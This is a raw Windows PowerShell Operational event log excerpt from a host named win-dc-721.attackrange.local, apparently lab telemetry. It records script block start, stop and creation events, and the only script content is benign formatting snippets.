Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479053
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479052
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479051
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479050
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479049
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479048
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479046
Keywords=None
Message=Started invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479044
Keywords=None
Message=Started invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479043
Keywords=None
Message=Completed invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479042
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479040
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479039
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479038
Keywords=None
Message=Started invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479037
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479036
Keywords=None
Message=Completed invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479035
Keywords=None
Message=Started invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479034
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479032
Keywords=None
Message=Started invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479031
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }
ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Path:
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479030
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479029
Keywords=None
Message=Started invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479028
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }
ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Path:
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479027
Keywords=None
Message=Completed invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479026
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479024
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479023
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479022
Keywords=None
Message=Started invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1479021
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }
ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Path:
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479020
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479018
Keywords=None
Message=Started invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479017
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479016
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479014
Keywords=None
Message=Started invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479012
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479010
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479009
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479008
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479007
Keywords=None
Message=Completed invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479006
Keywords=None
Message=Started invocation of ScriptBlock ID: caef7938-659e-4003-b429-9acff51ff743
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479004
Keywords=None
Message=Started invocation of ScriptBlock ID: 1de8db71-a909-4c55-9296-b2f0c71f579b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1e147caa-34cc-4124-87f7-0a2679af79a9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479001
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479000
Keywords=None
Message=Completed invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478999
Keywords=None
Message=Started invocation of ScriptBlock ID: 343ee787-8ffa-44cd-ace2-0363ce6b4460
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
